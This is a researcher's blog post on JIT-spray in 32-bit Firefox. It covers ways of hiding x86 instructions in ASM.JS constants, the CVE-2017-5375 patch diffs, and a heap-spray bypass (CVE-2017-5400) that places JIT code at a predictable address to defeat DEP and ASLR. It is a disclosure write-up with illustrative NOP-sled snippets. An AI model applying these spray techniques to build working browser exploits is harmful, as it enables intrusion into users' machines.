ρ


program analysis, reversing & exploit writing

The Return of the JIT (Part 2)

In part 1 I disclosed details about ASM.JS JIT-Spray in Mozilla Firefox <51 (32-bit) on Windows (CVE-2017-5375). Before going into details of the patch and its bypass resulting in CVE-2017-5400, here are two more (maybe known) methods of hiding x86 code in ASM.JS constants in Firefox.


Hide Instructions without Constant Folding

TL;DR: A simple PoC demonstrates combining three-byte payloads with two-byte payloads. If you want to skip this go to the patch for CVE-2017-5375 and its bypass.

As mentioned in part 1, we can hide x86 instructions within ASM.JS constant assignments such as

1
2
VAL = (VAL + 0xA8909090)|0;
VAL = (VAL + 0xA8909090)|0;

However, constant folding can easily break our hidden NOPs. If a compiler folds the constants it might emit one instruction, assigning directly the result of the addition with MOV EAX, 0x51212120. Hence, our code would be gone. An easy way to prevent this is to use the foreign function interface (ffi) of ASM.JS. Consider following module:

ASM.JS ffi call with five parameters
1
2
3
4
5
6
7
8
9
10
11
12
function asm_js_module(stdlib, ffi, heap){
    'use asm';
    var ffi_func = ffi.func
    function payload_code(){
        var val = 0;
        val = ffi_func(
            0xa9909090|0,
            0xa9909090|0,
            0xa9909090|0,
            0xa9909090|0,
            0xa9909090|0,
        ...

The corresponding x86 code prepares the five integer parameters (0xa9909090) for the function ffi_func() before calling it:

Native x86 code generated from ASM.JS using parameters for ffi
1
2
3
4
5
3f: c70424909090a9   mov     dword ptr [esp],0A9909090h
46: c7442404909090a9 mov     dword ptr [esp+4],0A9909090h
4e: c7442408909090a9 mov     dword ptr [esp+8],0A9909090h
56: c744240c909090a9 mov     dword ptr [esp+0Ch],0A9909090h
5e: c7442410909090a9 mov     dword ptr [esp+10h],0A9909090h

Again, if we jump into the middle of the third instruction at offset 0x52, we hit our injected code (NOP-sled):

Hidden NOPs within emitted x86 code
1
2
3
4
5
6
7
8
9
52: 90              nop
53: 90              nop
54: 90              nop
55: a9c744240c      test    eax,0C2444C7h
5a: 90              nop
5b: 90              nop
5c: 90              nop
5d: a9c7442410      test    eax,102444C7h
62: 90              nop

This way, we can hide again three-byte long instructions within ASM.JS constants without resynchronizing the original instruction stream during runtime.

But the space is limited. The instruction mov dword ptr [esp + 0x7c], 0xa9909090 is represented by c744247c909090a9. If the stack offset is higher, another opcode is used with four-bytes offsets instead of one-byte offsets: The instruction mov dword ptr [esp + 0x80], 0xa9909090 becomes c7842480000000909090a9 in order to keep the correct signedness. Hence, we can use the above trick to only hide 0x80/4 x 3 = 0x60 payload bytes.

Nevertheless, we can use two bytes of an ASM.JS constant as payload bytes and the two other bytes as a relative short jump (ebXX) to the next two payload bytes. This allows us to go beyond 0x80/4 = 32 parameters and 0x60 payload bytes. For example, we use 0x07eb9090 as constants to hide two NOPs and a JMP:

Constants containing two payload bytes
1
2
3
00: c78424800000009090eb07   mov dword [esp + 0x80], 0x07eb9090
0b: c78424840000009090eb07   mov dword [esp + 0x84], 0x07eb9090
16: c78424880000009090eb07   mov dword [esp + 0x88], 0x07eb9090

When we start executing from offset 7, our two NOPs and the subsequent JMP is hit to get the injected code running:

Two payload bytes connected with short jumps
1
2
3
4
5
6
7
8
9
10
11
07: 90       nop
08: 90       nop
09: eb07     jmp 0x12
...
12: 90       nop
13: 90       nop
14: eb07     jmp 0x1d
...
1d: 90       nop
1e: 90       nop
1f: eb07     jmp 0x28

This is similar to the technique shown at HITB in 2010. At most, two-byte long instructions are used. It is still enough to build a stage0 payload which resolves VirtualAlloc, allocates RWX memory, copies the stage1 shellcode to it, and jumps to it.


The Fix of CVE-2017-5375

Coming back to CVE-2017-5375. The patch mostly consists of two major changes.

1) The addresses of code allocations are randomized stronger:

Diff of js/src/jit/ExecutableAllocatorWin.cpp (50.1.0 vs. 51)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-js::jit::AllocateExecutableMemory(void* addr, size_t bytes, unsigned permissions, const char* tag,
+js::jit::AllocateExecutableMemory(size_t bytes, unsigned permissions, const char* tag,
                                   size_t pageSize)
 {
     MOZ_ASSERT(bytes % pageSize == 0);

 #ifdef HAVE_64BIT_BUILD
     if (sJitExceptionHandler)
         bytes += pageSize;
 #endif

-    void* p = VirtualAlloc(addr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);
-    if (!p)
-        return nullptr;
+    void* randomAddr = ComputeRandomAllocationAddress();
+
+    void* p = VirtualAlloc(randomAddr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);
+    if (!p) {
+        // Try again without randomAddr.
+        p = VirtualAlloc(nullptr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);
+        if (!p)
+            return nullptr;
+    }

2) The amount of executable ASM.JS/WASM code per process was cut down to 128MB on 32-bit:

Diff between js/src/jit/ExecutableAllocator.cpp (50.1.0 vs. 51)
1
2
3
4
5
6
7
8
+// Limit on the number of bytes of executable memory to prevent JIT spraying
+// attacks.
+#if JS_BITS_PER_WORD == 32
+static const size_t MaxCodeBytesPerProcess = 128 * 1024 * 1024;
+#else
+static const size_t MaxCodeBytesPerProcess = 512 * 1024 * 1024;
+#endif
+

Shortly after the fix, the limit of 128MB was increased to 160MB in Firefox 51.0.1.


The Bypass

So far, so good. The first thing which caught my attention was the fallback code in the first change:

1
2
3
4
void* p = VirtualAlloc(randomAddr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);
if (!p) {
    // Try again without randomAddr.
    p = VirtualAlloc(nullptr, bytes, MEM_COMMIT | MEM_RESERVE, permissions);

If VirtualAlloc() fails on a specified randomAddr, then we are back in the former “unprotected” code.

Additionally, I can allocate at most 160MB/64KB = 2560 ASM.JS modules, assuming that I keep one module under 64KB.

So that’s the plan:

  1. Occupy as many 64KB aligned addresses with unrelated non-executable memory. This can be easily done with a Heap-Spray using typed arrays: This reduces the number of available 64KB base addresses.
  2. Spray as many ASM.JS instances as possible. The fewer 64KB aligned addresses are available, the more likely we will occupy a predictable address with our JIT code, due to the fallback code in AllocateExecutableMemory().
  3. Release the memory allocated in (1) by triggering the garbage collector, as we don’t need it.

And yes! This worked! A proof of concept demonstrates the issue. Again, predictable addresses contained the injected, JIT-sprayed code, and the only necessity to exploit a memory corruption bug is to set EIP to that address (i.e., 0x55550055). Although there’s room for improvement (e.g., being able to choose a very specific address), the mixture of Heap and JIT-Spray was used to bypass DEP and ASLR, once again. This resulted in CVE-2017-5400 and was fixed in Firefox 52.


Best,
Rh0